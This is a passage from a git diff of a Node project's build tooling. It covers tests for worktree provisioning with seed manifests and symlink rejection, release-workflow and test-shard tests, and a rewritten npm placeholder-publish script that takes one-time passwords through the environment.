+
 test.after(() => {
   for (const dir of cleanupDirs) {
     fs.rmSync(dir, { recursive: true, force: true });
@@ -68,7 +79,21 @@ if (cliArgs[0] === "worktree" && cliArgs[1] === "ensure-seeded") {
     process.exit(${ensureExit});
   }
   fs.rmSync(".paperclip/seed-pending", { force: true });
-  fs.writeFileSync(".paperclip/seed-complete", "{}\\n");
+  fs.rmSync(".paperclip/seed-complete", { force: true });
+  fs.writeFileSync(".paperclip/seed-manifest.json", JSON.stringify({
+    version: 2,
+    source: { instanceId: "base-source", configPath: ${JSON.stringify(path.join(baseCwd, ".paperclip", "config.json"))} },
+    snapshotAt: "2026-08-19T00:00:00.000Z",
+    seedMode: "minimal",
+    migrationRevision: "0142_test.sql",
+    targetInstanceId: "target-test",
+    phase: "complete",
+    state: "verified",
+    attemptId: "attempt-test",
+    startedAt: "2026-08-19T00:00:00.000Z",
+    finishedAt: "2026-08-19T00:01:00.000Z",
+    diagnostics: [{ phase: "complete", status: "succeeded", at: "2026-08-19T00:01:00.000Z" }],
+  }) + "\\n");
   process.exit(0);
 }
 process.exit(0);
@@ -80,6 +105,7 @@ process.exit(0);
 function runProvision(baseCwd, { pathPrefix } = {}) {
   const worktreeCwd = makeTempDir("paperclip-provision-worktree-");
   const worktreesHome = makeTempDir("paperclip-provision-home-");
+  const paperclipHome = makeInstanceHome();
   const result = spawnSync("bash", [script], {
     cwd: worktreeCwd,
     encoding: "utf8",
@@ -90,14 +116,17 @@ function runProvision(baseCwd, { pathPrefix } = {}) {
       PAPERCLIP_WORKSPACE_CWD: worktreeCwd,
       PAPERCLIP_WORKSPACE_BRANCH: "feature/provision-test",
       PAPERCLIP_WORKTREES_DIR: worktreesHome,
-      PAPERCLIP_HOME: path.join(worktreesHome, "no-such-instance-home"),
+      PAPERCLIP_HOME: paperclipHome,
+      PAPERCLIP_PROJECT_WORKSPACE_ID: "project-workspace-1",
+      PAPERCLIP_SEED_EXPECTED_COMPANY_ID: "company-1",
     },
   });
-  return { result, worktreeCwd, worktreesHome };
+  return { result, worktreeCwd, worktreesHome, paperclipHome };
 }
 
 function runRuntimeProvision(baseCwd, worktreeCwd) {
   const worktreesHome = makeTempDir("paperclip-provision-runtime-home-");
+  const paperclipHome = makeInstanceHome();
   return spawnSync("bash", [runtimeScript], {
     cwd: worktreeCwd,
     encoding: "utf8",
@@ -108,7 +137,9 @@ function runRuntimeProvision(baseCwd, worktreeCwd) {
       PAPERCLIP_WORKSPACE_CWD: worktreeCwd,
       PAPERCLIP_WORKSPACE_BRANCH: "feature/provision-runtime-test",
       PAPERCLIP_WORKTREES_DIR: worktreesHome,
-      PAPERCLIP_HOME: path.join(worktreesHome, "no-such-instance-home"),
+      PAPERCLIP_HOME: paperclipHome,
+      PAPERCLIP_PROJECT_WORKSPACE_ID: "project-workspace-1",
+      PAPERCLIP_COMPANY_ID: "company-1",
     },
   });
 }
@@ -137,7 +168,10 @@ test("uses the base CLI when its import graph boots", () => {
   assert.equal(result.status, 0, result.stderr);
   const config = readWorktreeConfig(worktreeCwd);
   assert.equal(config.$meta.source, "fake-cli");
-  assert.ok(fs.existsSync(path.join(worktreeCwd, ".paperclip", "seed-pending")));
+  assert.equal(
+    JSON.parse(fs.readFileSync(path.join(worktreeCwd, ".paperclip", "seed-manifest.json"), "utf8")).state,
+    "pending",
+  );
   const initInvocation = readCliInvocations(baseCwd).find(
     (args) => args[0] === "worktree" && args[1] === "init",
   );
@@ -147,6 +181,29 @@ test("uses the base CLI when its import graph boots", () => {
   );
 });
 
+test("rejects a dangling base workspace config symlink instead of falling back", () => {
+  const baseCwd = makeBaseWorkspace({ helpExit: 0, initExit: 0 });
+  fs.mkdirSync(path.join(baseCwd, ".paperclip"), { recursive: true });
+  fs.symlinkSync(path.join(baseCwd, "absent.json"), path.join(baseCwd, ".paperclip", "config.json"));
+
+  const { result } = runProvision(baseCwd);
+
+  assert.notEqual(result.status, 0);
+  assert.match(result.stderr, /is missing or is not a canonical file/);
+});
+
+test("rejects a dangling base workspace .paperclip symlink instead of falling back", () => {
+  const baseCwd = makeBaseWorkspace({ helpExit: 0, initExit: 0 });
+  // `-e`/`-L` on the config resolve `.paperclip` first, so the config reads as absent
+  // here even though the workspace is malformed rather than a plain checkout.
+  fs.symlinkSync(path.join(baseCwd, "absent-dir"), path.join(baseCwd, ".paperclip"));
+
+  const { result } = runProvision(baseCwd);
+
+  assert.notEqual(result.status, 0);
+  assert.match(result.stderr, /\.paperclip is a broken symlink/);
+});
+
 test("falls back to an isolated config when the base CLI cannot boot", () => {
   // Simulates the dangling pnpm symlink incident: the runner and entry files
   // exist, but booting the CLI fails ESM resolution. The base has no
@@ -166,7 +223,51 @@ test("falls back to an isolated config when the base CLI cannot boot", () => {
   );
   const env = fs.readFileSync(path.join(worktreeCwd, ".paperclip", ".env"), "utf8");
   assert.match(env, /PAPERCLIP_IN_WORKTREE=true/);
-  assert.ok(fs.existsSync(path.join(worktreeCwd, ".paperclip", "seed-pending")));
+  assert.equal(
+    JSON.parse(fs.readFileSync(path.join(worktreeCwd, ".paperclip", "seed-manifest.json"), "utf8")).state,
+    "pending",
+  );
+});
+
+test("reconciles deployment mode from the registered source when reusing a guest config", () => {
+  const baseCwd = makeBaseWorkspace({ helpExit: 1, initExit: 0 });
+  const { result: first, worktreeCwd, worktreesHome, paperclipHome } = runProvision(baseCwd);
+  assert.equal(first.status, 0, first.stderr);
+  assert.equal(readWorktreeConfig(worktreeCwd).server.deploymentMode, "local_trusted");
+
+  // A base workspace that does carry its own instance config outranks the fallback.
+  fs.mkdirSync(path.join(baseCwd, ".paperclip"), { recursive: true });
+  fs.writeFileSync(
+    path.join(baseCwd, ".paperclip", "config.json"),
+    `${JSON.stringify({
+      server: {
+        deploymentMode: "authenticated",
+        exposure: "private",
+      },
+    }, null, 2)}\n`,
+  );
+
+  const second = spawnSync("bash", [script], {
+    cwd: worktreeCwd,
+    encoding: "utf8",
+    env: {
+      PATH: testPath,
+      HOME: os.homedir(),
+      PAPERCLIP_WORKSPACE_BASE_CWD: baseCwd,
+      PAPERCLIP_WORKSPACE_CWD: worktreeCwd,
+      PAPERCLIP_WORKSPACE_BRANCH: "feature/provision-test",
+      PAPERCLIP_WORKTREES_DIR: worktreesHome,
+      PAPERCLIP_HOME: paperclipHome,
+      PAPERCLIP_PROJECT_WORKSPACE_ID: "project-workspace-1",
+      PAPERCLIP_SEED_EXPECTED_COMPANY_ID: "company-1",
+    },
+  });
+
+  assert.equal(second.status, 0, second.stderr);
+  assert.match(second.stderr, /Reusing existing isolated Paperclip worktree config/);
+  assert.match(second.stderr, /Reconciled isolated Paperclip worktree deployment mode/);
+  assert.equal(readWorktreeConfig(worktreeCwd).server.deploymentMode, "authenticated");
+  assert.equal(readWorktreeConfig(worktreeCwd).server.exposure, "private");
 });
 
 test("repairs an unhealthy base install under the lock and then uses the CLI", (t) => {
@@ -260,7 +361,10 @@ test("runtime provisioning invokes ensure-seeded once and fast-exits after succe
 
   const first = runRuntimeProvision(baseCwd, worktreeCwd);
   assert.equal(first.status, 0, first.stderr);
-  assert.ok(fs.existsSync(path.join(worktreeCwd, ".paperclip", "seed-complete")));
+  assert.equal(
+    JSON.parse(fs.readFileSync(path.join(worktreeCwd, ".paperclip", "seed-manifest.json"), "utf8")).state,
+    "verified",
+  );
   assert.ok(!fs.existsSync(path.join(worktreeCwd, ".paperclip", "seed-pending")));
 
   const ensureCallsAfterFirst = readCliInvocations(baseCwd)
@@ -271,12 +375,91 @@ test("runtime provisioning invokes ensure-seeded once and fast-exits after succe
 
   const second = runRuntimeProvision(baseCwd, worktreeCwd);
   assert.equal(second.status, 0, second.stderr);
-  assert.match(second.stderr, /already seeded; skipping/);
+  assert.match(second.stderr, /verified seed manifest.*skipping/);
   const ensureCallsAfterSecond = readCliInvocations(baseCwd)
     .filter((args) => args[0] === "worktree" && args[1] === "ensure-seeded");
   assert.equal(ensureCallsAfterSecond.length, 1);
 });
 
+test("runtime provisioning omits the source override when the base config exists", () => {
+  const baseCwd = makeBaseWorkspace({ helpExit: 0, initExit: 0 });
+  fs.mkdirSync(path.join(baseCwd, ".paperclip"), { recursive: true });
+  fs.writeFileSync(path.join(baseCwd, ".paperclip", "config.json"), "{}\n");
+  const worktreeCwd = makeTempDir("paperclip-provision-runtime-base-config-");
+  fs.mkdirSync(path.join(worktreeCwd, ".paperclip"), { recursive: true });
+  fs.writeFileSync(path.join(worktreeCwd, ".paperclip", "config.json"), "{}\n");
+
+  const result = runRuntimeProvision(baseCwd, worktreeCwd);
+
+  assert.equal(result.status, 0, result.stderr);
+  const ensureCall = readCliInvocations(baseCwd).find(
+    (args) => args[0] === "worktree" && args[1] === "ensure-seeded",
+  );
+  assert.ok(ensureCall, "expected the runtime provisioner to invoke ensure-seeded");
+  assert.ok(!ensureCall.includes("--from-config"));
+});
+
+test("runtime provisioning guards every optional source-config expansion for Bash 3.2", () => {
+  const source = fs.readFileSync(runtimeScript, "utf8");
+  const ensureSeededLines = source
+    .split("\n")
+    .filter((line) => line.includes("worktree ensure-seeded --config"));
+
+  assert.equal(ensureSeededLines.length, 3);
+  for (const line of ensureSeededLines) {
+    assert.ok(
+      line.includes('${source_config_args[@]+"${source_config_args[@]}"}'),
+      `expected Bash 3.2-compatible optional array expansion in: ${line}`,
+    );
+  }
+});
+
+test("runtime provisioning seeds a worktree config that has no seed markers", () => {
+  const baseCwd = makeBaseWorkspace({ helpExit: 0, initExit: 0 });
+  const worktreeCwd = makeTempDir("paperclip-provision-runtime-unmarked-config-");
+  fs.mkdirSync(path.join(worktreeCwd, ".paperclip"), { recursive: true });
+  fs.writeFileSync(path.join(worktreeCwd, ".paperclip", "config.json"), "{}\n");
+
+  const result = runRuntimeProvision(baseCwd, worktreeCwd);
+
+  assert.equal(result.status, 0, result.stderr);
+  assert.equal(
+    readCliInvocations(baseCwd)
+      .filter((args) => args[0] === "worktree" && args[1] === "ensure-seeded").length,
+    1,
+  );
+  assert.equal(
+    JSON.parse(fs.readFileSync(path.join(worktreeCwd, ".paperclip", "seed-manifest.json"), "utf8")).state,
+    "verified",
+  );
+});
+
+test("runtime provisioning bootstraps and seeds an empty .paperclip directory", () => {
+  const baseCwd = makeBaseWorkspace({ helpExit: 0, initExit: 0 });
+  fs.mkdirSync(path.join(baseCwd, "scripts"), { recursive: true });
+  fs.copyFileSync(script, path.join(baseCwd, "scripts", "provision-worktree.sh"));
+  const worktreeCwd = makeTempDir("paperclip-provision-runtime-empty-state-");
+  fs.mkdirSync(path.join(worktreeCwd, ".paperclip"), { recursive: true });
+
+  const result = runRuntimeProvision(baseCwd, worktreeCwd);
+
+  assert.equal(result.status, 0, result.stderr);
+  assert.match(result.stderr, /config is missing; running the built-in worktree provisioner/);
+  const invocations = readCliInvocations(baseCwd);
+  assert.equal(
+    invocations.filter((args) => args[0] === "worktree" && args[1] === "init").length,
+    1,
+  );
+  assert.equal(
+    invocations.filter((args) => args[0] === "worktree" && args[1] === "ensure-seeded").length,
+    1,
+  );
+  assert.equal(
+    JSON.parse(fs.readFileSync(path.join(worktreeCwd, ".paperclip", "seed-manifest.json"), "utf8")).state,
+    "verified",
+  );
+});
+
 test("runtime provisioning leaves seed-pending in place when ensure-seeded fails", () => {
   const baseCwd = makeBaseWorkspace({ helpExit: 0, initExit: 0, ensureExit: 4 });
   const worktreeCwd = makeTempDir("paperclip-provision-runtime-failure-");
@@ -290,3 +473,22 @@ test("runtime provisioning leaves seed-pending in place when ensure-seeded fails
   assert.ok(fs.existsSync(path.join(worktreeCwd, ".paperclip", "seed-pending")));
   assert.ok(!fs.existsSync(path.join(worktreeCwd, ".paperclip", "seed-complete")));
 });
+
+test("runtime provisioning does not trust a truncated verified manifest", () => {
+  const baseCwd = makeBaseWorkspace({ helpExit: 0, initExit: 0, ensureExit: 4 });
+  const worktreeCwd = makeTempDir("paperclip-provision-runtime-truncated-");
+  fs.mkdirSync(path.join(worktreeCwd, ".paperclip"), { recursive: true });
+  fs.writeFileSync(path.join(worktreeCwd, ".paperclip", "config.json"), "{}\n");
+  fs.writeFileSync(
+    path.join(worktreeCwd, ".paperclip", "seed-manifest.json"),
+    JSON.stringify({ version: 2, state: "verified" }),
+  );
+
+  const result = runRuntimeProvision(baseCwd, worktreeCwd);
+  assert.equal(result.status, 4, result.stderr);
+  assert.equal(
+    readCliInvocations(baseCwd)
+      .filter((args) => args[0] === "worktree" && args[1] === "ensure-seeded").length,
+    1,
+  );
+});
diff --git a/scripts/__tests__/release-verify-workflow.test.mjs b/scripts/__tests__/release-verify-workflow.test.mjs
index 354bd81c4c2..d32f08ebcce 100644
--- a/scripts/__tests__/release-verify-workflow.test.mjs
+++ b/scripts/__tests__/release-verify-workflow.test.mjs
@@ -60,6 +60,19 @@ test("candidate-branch betas are validated and fully verified before publish", (
   assert.match(releaseWorkflow, /needs\.verify_beta_candidate\.result == 'success'/);
 });
 
+test("post-publish beta smoke survives the skipped candidate-verification ancestor", () => {
+  const releaseWorkflow = readWorkflow("release.yml");
+
+  // publish_beta's needs chain contains verify_beta_candidate, which is
+  // skipped on promote-mode betas. An `if:` without a status-check function
+  // gets an implicit success() that evaluates that chain transitively and
+  // silently skips the smoke. The condition must stay explicit.
+  assert.match(
+    releaseWorkflow,
+    /smoke_beta:\n\s+needs: publish_beta\n\s+if: \$\{\{ !cancelled\(\) && needs\.publish_beta\.result == 'success' && !inputs\.dry_run \}\}/,
+  );
+});
+
 test("every lane's tag push degrades to recovery instructions when rejected", () => {
   const releaseWorkflow = readWorkflow("release.yml");
 
diff --git a/scripts/__tests__/run-vitest-stable-shard.test.mjs b/scripts/__tests__/run-vitest-stable-shard.test.mjs
index ea74a3de127..690de987a3f 100644
--- a/scripts/__tests__/run-vitest-stable-shard.test.mjs
+++ b/scripts/__tests__/run-vitest-stable-shard.test.mjs
@@ -13,6 +13,11 @@ import {
 const repoRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "..", "..");
 const script = path.join(repoRoot, "scripts", "run-vitest-stable.mjs");
 const durationsManifest = path.join(repoRoot, "scripts", "general-server-shard-durations.json");
+const serializedDurationsManifest = path.join(
+  repoRoot,
+  "scripts",
+  "serialized-shard-durations.json",
+);
 
 function dryRun(args) {
   const result = spawnSync(process.execPath, [script, ...args, "--dry-run"], {
@@ -167,6 +172,39 @@ test("the checked-in manifest loads and covers most of the current suite set", (
   );
 });
 
+test("the checked-in serialized manifest loads and covers most of the current suite set", () => {
+  const durations = loadShardDurations(serializedDurationsManifest);
+  assert.ok(Object.keys(durations).length > 0, "manifest must parse to a non-empty duration map");
+
+  const shard = dryRunJson(["--mode", "serialized", "--shard-index", "0", "--shard-count", "1"]);
+  const currentFiles = shard.selectedSerializedSuites;
+  const known = currentFiles.filter((file) => durations[file] !== undefined).length;
+  assert.ok(
+    known / currentFiles.length >= 0.5,
+    `manifest is stale: only ${known} of ${currentFiles.length} suites have recorded durations — regenerate it from a recent PR run (see the manifest's $comment)`,
+  );
+});
+
+test("the real serialized shard partition is duration-balanced", () => {
+  const durations = loadShardDurations(serializedDurationsManifest);
+  const fallback = defaultSuiteWeight(durations);
+  const shards = Array.from({ length: SERIALIZED_SHARD_COUNT }, (_, index) =>
+    dryRunJson(["--mode", "serialized", "--shard-index", String(index), "--shard-count", String(SERIALIZED_SHARD_COUNT)]),
+  );
+
+  const totals = shards.map((shard) =>
+    shard.selectedSerializedSuites.reduce((sum, file) => sum + (durations[file] ?? fallback), 0),
+  );
+  const maxTotal = Math.max(...totals);
+  const minTotal = Math.min(...totals);
+  // LPT keeps the spread within the heaviest single suite; use that as the bound.
+  const heaviest = Math.max(...Object.values(durations));
+  assert.ok(
+    maxTotal - minTotal <= heaviest,
+    `serialized shard weight spread ${maxTotal - minTotal}ms exceeds heaviest suite ${heaviest}ms: ${totals.join(", ")}`,
+  );
+});
+
 test("the real shard partition is duration-balanced", () => {
   const durations = loadShardDurations(durationsManifest);
   const fallback = defaultSuiteWeight(durations);
diff --git a/scripts/bootstrap-npm-package.mjs b/scripts/bootstrap-npm-package.mjs
index d1b0fa0de66..5d774f52ec2 100644
--- a/scripts/bootstrap-npm-package.mjs
+++ b/scripts/bootstrap-npm-package.mjs
@@ -1,87 +1,166 @@
 #!/usr/bin/env node
 
+// One-time npm bootstrap for a brand-new release package. Publishes a minimal
+// placeholder at version 0.0.0 — never the package's real build output — so:
+//
+// - the PR CI gate (scripts/check-release-package-bootstrap.mjs) passes, since
+//   it only requires the name to resolve on the registry
+// - trusted publishing can be configured on npmjs.com (the package page must
+//   exist before a trusted publisher rule can be added)
+// - real package content only ever reaches npm from CI, after the PR that adds
+//   the package has been reviewed and merged
+//
+// The first real calver release supersedes the placeholder, and a stable
+// release moves `latest` off it. The placeholder needs no local build and no
+// workspace state, so it can run from any checkout (including master, before
+// the package's PR merges).
+//
+// npm one-time passwords are single-use and time-limited, so the helper
+// prompts for them interactively (publish and deprecate each need their own
+// code) and hands them to npm through its environment (npm_config_otp) —
+// codes never appear on a command line, in shell history, or in a process
+// listing. It also waits for the registry to show the package before
+// deprecating — a first publish can take a few minutes to become visible on
+// the read/write endpoints.
+
 import { spawnSync } from "node:child_process";
+import { mkdtempSync, rmSync, writeFileSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join, resolve } from "node:path";
+import { createInterface } from "node:readline/promises";
+import { setTimeout as delay } from "node:timers/promises";
 import { fileURLToPath } from "node:url";
-import { dirname, resolve } from "node:path";
 
-import { buildReleasePackagePlan } from "./release-package-map.mjs";
+export const PLACEHOLDER_VERSION = "0.0.0";
 
-const __dirname = dirname(fileURLToPath(import.meta.url));
-const repoRoot = resolve(__dirname, "..");
+const SCOPE_RE = /^@paperclipai\/[a-z0-9][a-z0-9._-]*$/;
 
-function normalizePath(filePath) {
-  return filePath.replace(/\\/g, "/").replace(/^\.\//, "");
-}
+const REGISTRY_POLL_INTERVAL_MS = 15_000;
+const REGISTRY_POLL_ATTEMPTS = 40; // ~10 minutes
+// Require back-to-back sightings: the write endpoint used by `npm deprecate`
+// can trail the read endpoint, so one extra interval is cheap insurance.
+const REGISTRY_POLL_CONSECUTIVE = 2;
+
+const OTP_ATTEMPTS = 3;
 
 function usage() {
   process.stderr.write(
     [
       "Usage:",
-      "  node scripts/bootstrap-npm-package.mjs <package-name-or-dir> [--publish --otp <code>] [--skip-build]",
+      "  node scripts/bootstrap-npm-package.mjs <package-name> [--publish]",
+      "",
+      "Publishes an empty placeholder at version 0.0.0 that reserves <package-name> on npm",
+      "so the release-bootstrap CI gate passes and trusted publishing can be configured.",
+      "Real package content is only ever published by CI. Without --publish this is a dry run.",
+      "",
+      "With --publish the helper prompts for npm one-time passwords interactively",
+      "(publish and deprecate each need their own code) and hands them to npm via its",
+      "environment, so codes never appear on a command line.",
       "",
       "Examples:",
-      "  node scripts/bootstrap-npm-package.mjs @paperclipai/plugin-workspace-diff",
-      "  node scripts/bootstrap-npm-package.mjs packages/plugins/plugin-workspace-diff --publish",
+      "  node scripts/bootstrap-npm-package.mjs @paperclipai/new-package",
+      "  node scripts/bootstrap-npm-package.mjs @paperclipai/new-package --publish",
       "",
     ].join("\n"),
   );
 }
 
-function parseArgs(argv) {
+export function parseArgs(argv) {
   const flags = new Set();
-  let selector = null;
-  let otp = null;
+  let packageName = null;
 
-  for (let index = 0; index < argv.length; index += 1) {
-    const arg = argv[index];
+  for (const arg of argv) {
     if (arg === "--") {
       continue;
     }
 
-    if (arg === "--publish" || arg === "--skip-build") {
+    if (arg === "--publish") {
       flags.add(arg);
       continue;
     }
 
-    if (arg === "--otp") {
-      const value = argv[index + 1];
-      if (!value || value.startsWith("--")) {
-        throw new Error("expected a one-time password after --otp");
-      }
-      otp = value;
-      index += 1;
-      continue;
-    }
-
     if (arg === "--help" || arg === "-h") {
-      return { help: true, selector: null, publish: false, skipBuild: false, otp: null };
+      return { help: true, packageName: null, publish: false };
     }
 
     if (arg.startsWith("--")) {
       throw new Error(`unknown option: ${arg}`);
     }
 
-    if (selector) {
-      throw new Error("expected exactly one package selector");
+    if (packageName) {
+      throw new Error("expected exactly one package name");
     }
 
-    selector = arg;
+    packageName = arg;
   }
 
   return {
     help: false,
-    selector,
+    packageName,
     publish: flags.has("--publish"),
-    skipBuild: flags.has("--skip-build"),
-    otp,
   };
 }
 
-function runCommand(command, args, options = {}) {
-  const result = spawnSync(command, args, {
-    cwd: repoRoot,
+export function validatePackageName(packageName) {
+  if (!SCOPE_RE.test(packageName)) {
+    throw new Error(
+      `refusing to publish a placeholder for ${JSON.stringify(packageName)}: ` +
+        "the name must be a lowercase package inside the @paperclipai scope " +
+        "(this guard prevents accidental publishes to names we do not own).",
+    );
+  }
+}
+
+export function buildPlaceholderFiles(packageName) {
+  const deprecationNote =
+    `${packageName}@${PLACEHOLDER_VERSION} is a placeholder that reserves the package name ` +
+    "for Paperclip's release pipeline. It contains no functionality; the first real release " +
+    "supersedes it. See https://github.com/paperclipai/paperclip";
+
+  const packageJson = {
+    name: packageName,
+    version: PLACEHOLDER_VERSION,
+    description:
+      "Placeholder publish reserving this name for Paperclip's release pipeline. Do not install this version.",
+    license: "MIT",
+    main: "index.js",
+    files: ["index.js"],
+    repository: {
+      type: "git",
+      url: "git+https://github.com/paperclipai/paperclip.git",
+    },
+    homepage: "https://github.com/paperclipai/paperclip",
+    publishConfig: {
+      access: "public",
+    },
+  };
+
+  const indexJs = `throw new Error(${JSON.stringify(deprecationNote)});\n`;
+
+  const readme = [
+    `# ${packageName}`,
+    "",
+    `Version ${PLACEHOLDER_VERSION} is a **placeholder publish**. It reserves this package name so`,
+    "Paperclip's release-bootstrap CI gate can pass before the package's first real",
+    "release ships from CI. It intentionally contains no functionality.",
+    "",
+    "Real versions are published by the release workflow of",
+    "[paperclipai/paperclip](https://github.com/paperclipai/paperclip).",
+    "",
+  ].join("\n");
+
+  return {
+    "package.json": `${JSON.stringify(packageJson, null, 2)}\n`,
+    "index.js": indexJs,
+    "README.md": readme,
+    deprecationNote,
+  };
+}
+
+function runNpm(args, options = {}) {
+  const result = spawnSync("npm", args, {
     encoding: "utf8",
-    stdio: ["inherit", "pipe", "pipe"],
+    stdio: ["ignore", "pipe", "pipe"],
     ...options,
   });
 
@@ -89,39 +168,22 @@ function runCommand(command, args, options = {}) {
     throw result.error;
   }
 
+  const stdout = result.stdout ?? "";
+  const stderr = result.stderr ?? "";
+  if (stdout) process.stdout.write(stdout);
+  if (stderr) process.stderr.write(stderr);
+
   return result;
 }
 
-function runChecked(command, args, options = {}) {
-  const result = runCommand(command, args, options);
-  const stdout = result.stdout ?? "";
-  const stderr = result.stderr ?? "";
-
-  if (stdout) process.stdout.write(stdout);
-  if (stderr) process.stderr.write(stderr);
-
-  if (result.status !== 0) {
-    throw new Error(`${command} ${args.join(" ")} failed with status ${result.status ?? "unknown"}`);
-  }
-}
-
-function formatCommand(command, args) {
-  return `${command} ${args.join(" ")}`;
-}
-
-function ensureNpmAuth() {
-  const result = runCommand("npm", ["whoami"]);
-  const stdout = result.stdout ?? "";
-  const stderr = result.stderr ?? "";
-
-  if (stdout) process.stdout.write(stdout);
-  if (stderr) process.stderr.write(stderr);
+export function ensureNpmAuth() {
+  const result = runNpm(["whoami"]);
 
   if (result.status === 0) {
     return;
   }
 
-  const output = `${stdout}\n${stderr}`.trim();
+  const output = `${result.stdout ?? ""}\n${result.stderr ?? ""}`.trim();
   if (/\bE401\b|401 Unauthorized/i.test(output)) {
     throw new Error(
       [
@@ -136,8 +198,18 @@ function ensureNpmAuth() {
   throw new Error("npm whoami failed");
 }
 
-function inspectNpmPackage(packageName) {
-  const result = runCommand("npm", ["view", packageName, "version", "--json"]);
+export function inspectNpmPackage(packageName) {
+  // Deliberately quiet: for a fresh bootstrap the expected outcome is E404
+  // ("the name is free"), and npm's error dump for that reads like a failure.
+  // Output is only surfaced when the query fails for an unexpected reason.
+  const result = spawnSync("npm", ["view", packageName, "version", "--json"], {
+    encoding: "utf8",
+    stdio: ["ignore", "pipe", "pipe"],
+  });
+
+  if (result.error) {
+    throw result.error;
+  }
 
   if (result.status === 0) {
     const version = JSON.parse((result.stdout ?? "").trim());
@@ -149,158 +221,228 @@ function inspectNpmPackage(packageName) {
     return { exists: false };
   }
 
-  process.stderr.write(output ? `${output}\n` : "");
+  if (output) process.stderr.write(`${output}\n`);
   throw new Error(`failed to query npm for ${packageName}`);
 }
 
-function resolveTargetPackage(selector, packages = buildReleasePackagePlan()) {
-  const normalizedSelector = normalizePath(selector);
-  const matches = packages.filter(
-    (pkg) => pkg.name === selector || normalizePath(pkg.dir) === normalizedSelector,
-  );
-
-  if (matches.length === 1) {
-    return matches[0];
+export async function promptOtp(rl, purpose) {
+  for (;;) {
+    const answer = (await rl.question(`Enter the npm one-time password to ${purpose}: `)).trim();
+    if (answer) return answer;
+    process.stdout.write("A one-time password is required.\n");
   }
-
-  if (matches.length > 1) {
-    throw new Error(`package selector is ambiguous: ${selector}`);
-  }
-
-  throw new Error(
-    `unknown package selector: ${selector}\nKnown packages:\n- ${packages.map((pkg) => `${pkg.name} (${pkg.dir})`).join("\n- ")}`,
-  );
 }
 
-function printNextSteps(pkg) {
+export async function waitForPackageVisible(
+  packageName,
+  {
+    attempts = REGISTRY_POLL_ATTEMPTS,
+    intervalMs = REGISTRY_POLL_INTERVAL_MS,
+    consecutive = REGISTRY_POLL_CONSECUTIVE,
+    inspect = inspectNpmPackage,
+    sleep = delay,
+  } = {},
+) {
+  let seen = 0;
+  for (let attempt = 0; attempt < attempts; attempt += 1) {
+    if (attempt > 0) await sleep(intervalMs);
+
+    let state = null;
+    try {
+      state = inspect(packageName);
+    } catch {
+      state = null; // transient registry error: keep polling
+    }
+
+    if (state?.exists) {
+      seen += 1;
+      if (seen >= consecutive) return true;
+    } else {
+      seen = 0;
+    }
+  }
+  return false;
+}
+
+async function publishPlaceholder(packageName, stageDir, rl) {
+  for (let attempt = 1; attempt <= OTP_ATTEMPTS; attempt += 1) {
+    const otp = await promptOtp(rl, `publish ${packageName}@${PLACEHOLDER_VERSION}`);
+    // Hand the code to npm through its environment (npm_config_otp), not argv,
+    // so it never appears in a process listing.
+    const result = runNpm(["publish", "--access", "public"], {
+      cwd: stageDir,
+      env: { ...process.env, npm_config_otp: otp },
+    });
+    if (result.status === 0) return;
+
+    const output = `${result.stdout ?? ""}\n${result.stderr ?? ""}`.trim();
+    if (/\bEOTP\b|one-time password/i.test(output) && attempt < OTP_ATTEMPTS) {
+      process.stdout.write("The code was rejected or expired. Try a fresh one.\n");
+      continue;
+    }
+    throw new Error(`npm publish failed with status ${result.status ?? "unknown"}`);
+  }
+  throw new Error("npm publish failed: too many rejected one-time passwords");
+}
+
+async function deprecatePlaceholder(packageName, deprecationNote, rl) {
+  const spec = `${packageName}@${PLACEHOLDER_VERSION}`;
+  for (let attempt = 1; attempt <= OTP_ATTEMPTS; attempt += 1) {
+    const otp = await promptOtp(rl, `deprecate ${spec}`);
+    const result = runNpm(["deprecate", spec, deprecationNote], {
+      env: { ...process.env, npm_config_otp: otp },
+    });
+    if (result.status === 0) return true;
+
+    const output = `${result.stdout ?? ""}\n${result.stderr ?? ""}`.trim();
+    if (/\bEOTP\b|one-time password/i.test(output)) {
+      process.stdout.write("The code was rejected or expired. Try a fresh one.\n");
+      continue;
+    }
+    if (/\bE404\b|404 Not Found/i.test(output)) {
+      process.stdout.write(
+        "The registry's write endpoint has not caught up yet; waiting 30s before retrying...\n",
+      );
+      await delay(30_000);
+      continue;
+    }
+    break;
+  }
+  return false;
+}
+
+function printManualDeprecateFallback(packageName, deprecationNote) {
   process.stdout.write(
     [
       "",
-      "Publish succeeded. Next:",
-      `1. Open https://www.npmjs.com/package/${pkg.name}`,
-      "2. Go to Settings -> Trusted publishing",
-      "3. Add repository paperclipai/paperclip",
-      "4. Set workflow filename to release.yml",
-      "5. Optionally enable Settings -> Publishing access -> Require two-factor authentication and disallow tokens",
+      "The placeholder could not be deprecated automatically. Once `npm view` resolves the package, run:",
+      `npm deprecate ${packageName}@${PLACEHOLDER_VERSION} ${JSON.stringify(deprecationNote)} --otp <code>`,
       "",
     ].join("\n"),
   );
 }
 
-function buildPublishArgs(pkg, { dryRun = false, otp = null } = {}) {
-  const args = ["publish", pkg.dir, "--no-git-checks", "--access", "public"];
-
-  if (dryRun) {
-    args.push("--dry-run");
-  }
-
-  if (otp) {
-    args.push("--otp", otp);
-  }
-
-  return args;
+function printNextSteps(packageName) {
+  process.stdout.write(
+    [
+      "",
+      "Next:",
+      `1. Open https://www.npmjs.com/package/${packageName}`,
+      "2. Go to Settings -> Trusted publishing",
+      "3. Add repository paperclipai/paperclip",
+      "4. Set workflow filename to release.yml",
+      "5. Optionally enable Settings -> Publishing access -> Require two-factor authentication and disallow tokens",
+      `6. Only then flip the package to "publishFromCi": true in scripts/release-package-manifest.json`,
+      "",
+    ].join("\n"),
+  );
 }
 
-function publishPackage(pkg, otp) {
-  const publishArgs = buildPublishArgs(pkg, { otp });
+async function stageAndPublish(packageName, { publish }) {
+  const files = buildPlaceholderFiles(packageName);
+  const stageDir = mkdtempSync(join(tmpdir(), "paperclip-npm-placeholder-"));
 
-  const result = runCommand("pnpm", publishArgs);
-  const stdout = result.stdout ?? "";
-  const stderr = result.stderr ?? "";
-  const output = `${stdout}\n${stderr}`.trim();
+  try {
+    for (const fileName of ["package.json", "index.js", "README.md"]) {
+      writeFileSync(join(stageDir, fileName), files[fileName]);
+    }
 
-  if (stdout) process.stdout.write(stdout);
-  if (stderr) process.stderr.write(stderr);
+    process.stdout.write(`Staged placeholder for ${packageName} in ${stageDir}\n`);
+    process.stdout.write(`Previewing publish payload (npm publish --dry-run)...\n`);
